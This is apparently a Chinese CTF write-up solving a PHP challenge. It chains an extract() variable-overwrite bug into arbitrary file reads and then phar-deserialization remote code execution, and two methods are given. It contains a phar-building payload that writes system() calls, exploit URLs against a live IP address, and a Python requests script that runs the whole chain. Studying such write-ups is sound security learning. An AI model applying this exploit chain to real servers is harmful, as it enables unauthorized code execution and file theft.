<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Template($content);
} else {
echo "Please choice one template to reader";
}
?>
因为$tp可控,且存在变量覆盖漏洞(extract($_GET['var'], EXTR_OVERWRITE);),所以可以覆盖掉$template的第一个元素的键值,达到读取任意文件的效果。读取template.php:
http://8.129.41.25:10305/?var[template][tp1]=/var/www/html/template.php&tp=tp1
得到源代码如下:
<?php
class Template{
public $content;
public $pattern;
public $suffix;
public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}
public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "Your html file is in " . $filename;
}
}
?>
看到file_put_contents本意是想写🐎来着,但是$filename不可控,且$suffix变量锁死了,怎么都写不出php。卡了好久。
方法一
虽然这道题无上传文件的地方,但是存在文件读取函数(file_get_contents)且参数可控,又因为有可以利用的魔术方法,有file_get_contents函数,且没有过滤“phar”、“:”、“/”等关键字,所以可以利用phar进行反序列化RCE(感谢Match师傅,我是笨比)。
构造phar文件:
<?php
class Template{
public $content;
public $pattern;
public $suffix;
public function __construct($content){
$this->content = '<?php system("ls /");?>';
$this->pattern = "";
$this->suffix = ".php";
}
}
$o = new Template("123");
$filename = 'poc.phar';
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("shaw.txt",'test');
$phar->stopBuffering();
?>
生成phar文件后,把它放公网服务器上,然后利用题目的$var的变量覆盖漏洞,将$template的第一个元素的键值覆盖成该phar文件的地址:
http://8.129.41.25:10305/?var[template][tp1]=http://ip/poc.phar&tp=tp1
Your html file is in /var/www/html/uploads/xxx/xxx.html
这样就把poc.phar写进了html里,再将回显的绝对路径用phar://伪协议去访问,其覆盖掉了原先Template类中变量值,(”.html”也变成”.php”了)得到php文件。
访问php文件,得到命令(<?php system("ls");?>)执行后的结果:

同理,可执行<?php system("/readflag");?>得到flag。
方法二(正解)
和上面差不多,不过不需要公网服务器传了,是比赛时想到的方法。
可以将$template的第一个元素的值赋为php://input,其值就为POST的数据。
Template类中有这样一段:
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
必须让$content不满足$pattern的值的匹配条件,否则会退出。但是不满足的话,$matches[1]的值为NULL,为空则break:
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
利用$var的变量覆盖漏洞,就达到既不满足匹配条件又给$matches[1]赋值的目的。python测试脚本如下:
shaw = open(r"poc.phar",'rb') url = "http://8.129.41.25:10305/?var[template][tp1]=php://input&var[matches][1]=123&tp=tp1" a = requests.post(url=url,data=shaw.read()) #print(a.text) url2 = "http://8.129.41.25:10305/?var[template][tp1]=phar:///var/www/html/uploads/xxx/xxx.html&tp=tp1" b = requests.get(url2) #print(b.text)
剩下同方法一。